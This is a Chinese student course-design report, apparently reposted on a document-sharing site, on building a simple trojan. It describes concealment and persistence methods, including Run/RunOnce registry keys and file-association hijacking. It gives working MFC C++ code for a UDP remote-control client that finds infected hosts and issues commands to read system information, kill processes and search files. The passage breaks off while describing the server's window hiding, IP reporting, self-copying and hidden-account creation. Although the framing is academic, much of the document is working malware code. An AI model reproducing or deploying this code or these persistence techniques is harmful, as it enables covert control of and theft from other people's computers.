木马的设计课设.docx
《木马的设计课设.docx》由会员分享,可在线阅读,更多相关《木马的设计课设.docx(36页珍藏版)》请在冰点文库上搜索。
木马的设计课设
简单木马设计
一、木马的定义
木马本质上是一种经过伪装的欺骗性程序,它通过将自身伪装吸引用户下载执行,从而破坏或窃取使用者的重要文件和资料。
木马程序与一般的病毒不同,它不会自我繁殖,也并不刻意!
地去感染其他文件,它是一种后台控制程序。
它的主要作用是向施种木马者打开被种者电脑的门户,使其可以任意毁坏、窃取被种者的文件,甚至远程操控其电脑。
二、木马的组成
一般来说,完整的木马由两部分组成,即服务端Server和客户端Client,也就是采用所谓的C/S模式。
如下图2-1所示:
图2-1木马的服务端和客户端
一个完整的木马系统以下几部分组成:
1、硬件部分
建立木马连接所必须的硬件实体。
控制端:
对服务端进行远程控制的一方。
服务端:
被控制端远程控制的一方。
INTERNET:
控制端对服务端进行远程控制,数据传输的网络载体。
2、软件部分
实现远程控制所必须的软件程序。
控制端程序:
控制端用以远程控制服务端的程序。
木马程序:
潜入服务端内部,获取其操作权限的程序。
木马配置程序:
设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。
3、建立连接的必要元素
通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。
控制端IP,服务端IP:
即控制端,服务端的网络地址,也是木马进行数据传输的目的地。
控制端端口,木马端口:
即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马程序。
用木马这种黑客工具进行网络入侵,从过程上看大致可分为六步(具体可见下图),下面我们就按这六步来详细阐述木马的攻击原理。
配置木马
一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方面功能:
(1)木马伪装:
木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。
(2)信息反馈:
木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号,ICQ号等等
三、木马的隐藏与自启动
木马常用的隐藏技术:
3.1合并端口法
使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接(比如80端口的HTTP),以达到隐藏端口的目的。
3.2修改ICMP头法
根据ICMP协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段。
这样的木马具备很多新特点,如不占用端口、使用户难以发觉等。
同时,使用ICMP协议可以穿透一些防火墙,从而增加了防范的难度。
木马常用的自启动技术:
为了达到长期控制目标主机的目的,当主机重启之后必须让木马程序再次运行,这样就需要木马具有一定的自启动能力。
下面介绍几种常见的方法。
3.3加载程序到启动组
我们需要关注“开始”菜单中的启动项,对应的文件夹是c:
\DocumentsandSettings\用户名\「开始」菜单\程序\启动。
3.4在注册表中加载自启动项
下面仅列举几个木马常用的自启动注册表项:
3.4.1Run注册表项
Run是木马常用的自启动注册表项,位置在:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
3.4.2RunOnce注册表项
RunOnce也是木马常用的自启动注册表项,位置在:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurerntVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
在WindowsXP系统中还有:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
此外,木马的自启动注册表项还有RunServices注册表项、RunServicesOnce注册表项、Winlogon注册表项、Load注册表项等。
3.5修改文件关联
以文本文件的“文件关联”为例,正常情况下,其对应的注册表项和项值分别为:
HKEY_CLASSES_ROOT\txtfile\shell\open\command与%SystemRoot%\system32\NOTEPAD.EXE%1但是某些木马在安装阶段将项值改为“木马程序路径\木马程序名称%l”的形式,这样,当用户打开任何一个文本文件时,就启动了木
马程序。
三、简单木马制作
基本思路:
本木马由两部分组成,即服务端Server程序和客户端Client程序,采用的是C/S模式。
对目的主机的控制主要是通过客户端发出的命令后,服务器端响应后把结果返回给客户端,进而起到控制主机的目的。
在程序制作中,使用了计时器方法,木马端程序会每1s向控制端发送连接信息,若控制端,即client端开启,则会向Server端反馈confirm信息,这样,Server端会继续发送新的信息。
1、客户端的制作
本客户端程序以属性表单的方式提供操作界面,如下图所示:
1.1主机列表
在列表控件中显示由服务器发来的IP、MAC以及运行时间信息。
同一IP信息不会重复添加到列表控件中。
“检测”按钮的作用主要是确定当前主机是否在线,也就是是否以运行了木马服务器程序,若以运行,则可以通过其他属性页中的按钮进行控制。
其“检测”按钮的单击消息响应函数为:
voidCPropHostList:
:
OnButton1Connection()
{
//TODO:
Addyourcontrolnotificationhandlercodehere
UpdateData();
if(m_strHostIP=="")
{
MessageBox("检测主机IP不能为空!
\r\n请输入IP地址!
\r\n或者在列表中选择!
","提示",MB_OK|MB_ICONWARNING);
theHostIP=m_strHostIP;
return;
}
theHostIP=m_strHostIP;
CMySocketSocketSendAndRecv;
SocketSendAndRecv.MyStartup();
SOCKETSocketClient=socket(AF_INET,SOCK_DGRAM,0);
SOCKADDR_INAddressServer;//发送到服务器的地址信息
AddressServer.sin_addr.S_un.S_addr=inet_addr(theHostIP);//将点分十进制转换为u_long型
AddressServer.sin_family=AF_INET;
AddressServer.sin_port=htons(5004);//转换为网络字节序
charrecvBuf[100];//用于存储接受的数据
charsendBuf[100]="Hello!
";//用于存储要发送的数据
intlen=sizeof(SOCKADDR);
sendto(SocketClient,sendBuf,strlen(sendBuf)+1,0,(SOCKADDR*)&AddressServer,len);
CStringRecvData;
SetTimer(1,1000,NULL);
recvfrom(SocketClient,recvBuf,100,0,(SOCKADDR*)&AddressServer,&len);
RecvData=recvBuf;
if(RecvData=="Hello!
")
{
KillTimer
(1);
MessageBox("当前主机处于活动状态!
","响应",MB_OK|MB_ICONASTERISK);
}
SocketSendAndRecv.MyCloseSocket(SocketClient);
}
1.2系统信息
在确保用户在线的情况下,通过单击“系统信息”、“关闭计算机”、“重启计算机”等按钮就可以获取相应的信息或着执行相应的命令。
并且在响应的编辑框中提示本次操作是否成功。
操作界面如下图所示:
以获取“系统信息”按钮为例,此按钮的单击消息响应函数为:
voidCPropSystemInfoDlg:
:
OnButtonSysteminfo()
{
m_strInfo="";
//TODO:
Addyourcontrolnotificationhandlercodehere
if(theHostIP=="")
{
MessageBox("主机IP不能为空!
\r\n请输入IP地址!
\r\n或者在列表中选择!
","提示",MB_OK|MB_ICONWARNING);
return;
}
CMySocketSocketSendAndRecv;
SocketSendAndRecv.MyStartup();
SOCKETSocketClient=socket(AF_INET,SOCK_DGRAM,0);
SOCKADDR_INAddressServer;//发送到服务器的地址信息
AddressServer.sin_addr.S_un.S_addr=inet_addr(theHostIP);//将点分十进制转换为u_long型
AddressServer.sin_family=AF_INET;
AddressServer.sin_port=htons(5004);//转换为网络字节序
charrecvBuf[98];//用于存储接受的数据
charsendBuf[100]="1GetSystemInfo";//用于存储要发送的数据
intlen=sizeof(SOCKADDR);
sendto(SocketClient,sendBuf,strlen(sendBuf)+1,0,(SOCKADDR*)&AddressServer,len);
CStringRecvData;
CStringstrShow="";
SetTimer(1,1000,NULL);
recvfrom(SocketClient,recvBuf,100,0,(SOCKADDR*)&AddressServer,&len);
RecvData=recvBuf;
intn=atoi(RecvData);
for(inti=1;i<=n;i++)
{
recvfrom(SocketClient,recvBuf,100,0,(SOCKADDR*)&AddressServer,&len);
RecvData=recvBuf;
strShow=strShow+RecvData;
}
if(RecvData!
="")
{
KillTimer
(1);
m_strInfo=strShow;
UpdateData(0);
}
SocketSendAndRecv.MyCloseSocket(SocketClient);
}
1.3消息属性页
在输入消息的正文后,单击发送按钮即可把消息发送到服务器端。
操作界面如下:
“发送”按钮的单击消息响应函数为:
voidCPropMessageDlg:
:
OnButtonSendmessage()
{
m_strResponse="";
UpdateData();
if(theHostIP=="")
{
MessageBox("主机IP不能为空!
\r\n请输入IP地址!
\r\n或者在列表中选择!
","提示",MB_OK|MB_ICONWARNING);
return;
}
CStringSendData="5"+m_strText;
CMySocketSocketSendAndRecv;
SocketSendAndRecv.MyStartup();
SOCKETSocketClient=socket(AF_INET,SOCK_DGRAM,0);
SOCKADDR_INAddressServer;//发送到服务器的地址信息
AddressServer.sin_addr.S_un.S_addr=inet_addr(theHostIP);//将点分十进制转换为u_long型
AddressServer.sin_family=AF_INET;
AddressServer.sin_port=htons(5004);//转换为网络字节序
charrecvBuf[100];//用于存储接受的数据
char*sendBuf=(LPSTR)(LPCTSTR)SendData;//用于存储要发送的数据
intlen=sizeof(SOCKADDR);
sendto(SocketClient,sendBuf,strlen(sendBuf)+1,0,(SOCKADDR*)&AddressServer,len);
CStringRecvData;
SetTimer(1,1000,NULL);
recvfrom(SocketClient,recvBuf,100,0,(SOCKADDR*)&AddressServer,&len);
RecvData=recvBuf;
if(RecvData=="5sendsuccess")
{
KillTimer
(1);
m_strResponse="消息发送成功!
";
UpdateData(0);
}
SocketSendAndRecv.MyCloseSocket(SocketClient);
}
1.4进程管理
在本属性页中提供了对进程有关的操作:
1.4.1列举进程
列举当前主机中运行的所以进程的信息。
1.4.2结束进程
在列举进程信息后,在编辑框中输入进程ID号后,再单击“结束进程”按钮即可。
1.4.3创建进程
这里需要输入要创建的程序名或者程序的路径。
比如:
QQ的程序路径,“D:
\ProgramFiles\Tencent\QQ\Bin\QQ.exe”。
1.4.4获取硬盘信息
由于所要获取的数据太大,如果一次性传输到客户端,则只会显示部分信息。
程序中对数据太大的数据进行了分段传输(如:
进程信息、系统信息、硬盘信息),每次传输90字节。
在客户端,对分别传送了的数据组装后再在控件中显示。
操作界面如下图所示:
以“结束进程”按钮为例,单击消息响应函数为:
voidCPropProcessDlg:
:
OnButton2Endprocess()
{
m_strInfo="";
UpdateData();
if(theHostIP=="")
{
MessageBox("主机IP不能为空!
\r\n请输入IP地址!
\r\n或者在列表中选择!
","提示",MB_OK|MB_ICONWARNING);
return;
}
if(m_strEndProcess=="")
{
MessageBox("请输入结束进程ID!
","提示",MB_OK|MB_ICONWARNING);
return;
}
CStringData="7"+m_strEndProcess;
CMySocketSocketSendAndRecv;
SocketSendAndRecv.MyStartup();
SOCKETSocketClient=socket(AF_INET,SOCK_DGRAM,0);
SOCKADDR_INAddressServer;//发送到服务器的地址信息
AddressServer.sin_addr.S_un.S_addr=inet_addr(theHostIP);//将点分十进制转换为u_long型
AddressServer.sin_family=AF_INET;
AddressServer.sin_port=htons(5004);//转换为网络字节序
charrecvBuf[100];//用于存储接受的数据
char*sendBuf=(LPSTR)(LPCTSTR)Data;//用于存储要发送的数据
intlen=sizeof(SOCKADDR);
sendto(SocketClient,sendBuf,strlen(sendBuf)+1,0,(SOCKADDR*)&AddressServer,len);
CStringRecvData;
SetTimer(1,1000,NULL);
recvfrom(SocketClient,recvBuf,100,0,(SOCKADDR*)&AddressServer,&len);
RecvData=recvBuf;
if(RecvData=="7endprocesssuccess")
{
KillTimer
(1);
m_strInfo="结束指定进程命令成功!
";
UpdateData(0);
}
if(RecvData=="7endprocessfailure")
{
KillTimer
(1);
m_strInfo="结束指定进程命令失败!
";
UpdateData(0);
}
SocketSendAndRecv.MyCloseSocket(SocketClient);
}
1.5查找文件属性页
在本属性页中提供了对指定文件或者文件夹的查找功能,若查找成功则在编辑框中给出指定文件或者文件夹的全路径,否则提示查找失败。
操作界面如下:
“立即查找”按钮的单击消息响应函数为:
voidCPropFilesFindDlg:
:
OnButton1Find()
{
UpdateData();
if(theHostIP=="")
{
MessageBox("主机IP不能为空!
\r\n请输入IP地址!
\r\n或者在列表中选择!
","提示",MB_OK|MB_ICONWARNING);
return;
}
if(m_strFilesName=="")
{
MessageBox("请输入查找文件名!
","提示",MB_OK|MB_ICONWARNING);
return;
}
intn=m_strDishOperator.GetCurSel();
CStringSelected;
m_strDishOperator.GetLBText(n,Selected);
CStringSendData;
SendData="@"+Selected;
SendData=SendData+m_strFilesName;CMySocketSocketSendAndRecv;
SocketSendAndRecv.MyStartup();SOCKETSocketClient=socket(AF_INET,SOCK_DGRAM,0);
SOCKADDR_INAddressServer;//发送到服务器的地址信息
AddressServer.sin_addr.S_un.S_addr=inet_addr(theHostIP);//将点分十进制转换为u_long型
AddressServer.sin_family=AF_INET;
AddressServer.sin_port=htons(5004);//转换为网络字节序
charrecvBuf[100];//用于存储接受的数据
char*sendBuf=(LPSTR)(LPCTSTR)SendData;//用于存储要发送的数据
intlen=sizeof(SOCKADDR);
sendto(SocketClient,sendBuf,strlen(sendBuf)+1,0,(SOCKADDR*)&AddressServer,len);
CStringRecvData;
SetTimer(1,1000,NULL);
recvfrom(SocketClient,recvBuf,100,0,(SOCKADDR*)&AddressServer,&len);
RecvData=recvBuf;
if(RecvData=="findfileseorror")
{
KillTimer
(1);
m_strFilesPath="查找指定文件失败!
";
UpdateData(0);
}
else
{
KillTimer
(1);
m_strFilesPath="指定文件在服务器路径为:
\r\n"+RecvData;
UpdateData(0);
}
SocketSendAndRecv.MyCloseSocket(SocketClient);
}
2、服务器程序制作
在服务器端,主要实现的功能是,接收客户端发来的命令,执行相应的功能代码,并把结果发送到客户端,以便显示。
除此之外,服务器程序还要有以下几点功能:
窗口隐藏、IP地址信息发送、单一服务器实例、开机自动启动、服务器程序自我复制、创建隐藏账户。
这些功能主要是在服务器程序的初始化函数BOOLCTrojanServerDlg:
:
OnInitDialog()中实现的。
下面分别说明:
2.1窗口隐藏
对于一个木马服务器程序来说,为了避免用户的察觉,隐藏是十分有必要的,这可以在初始化函数添加以下两行代码即可:
ModifyStyleEx(WS_EX_APPWINDOW,WS_EX_TOOLWINDOW);
//从任务栏中去掉
SetWindowPos(&wndTop,0,0,0,0,NULL);
2.2IP地址信息发送
对与客户端,如果要对用户主机进行控制,除了需要主机运行服务器程序外,还需要知道主机的IP地址,这样才能发送命令到主机方。
另外,对方主机的IP地址也可能会发生变化,所以也需要把变化后的IP地址发送到客户端。
实现的方法是,在服务器端创建线程,对主机的IP地址进行监视,每过1小时进行检查IP地址是否改变,若改变,则立即把新的IP地址信息发送到客户端的5005端口。
其所创建的线程执行函数为:
DWORDWINAPIProcThread(LPVOIDlpParameter)//IP地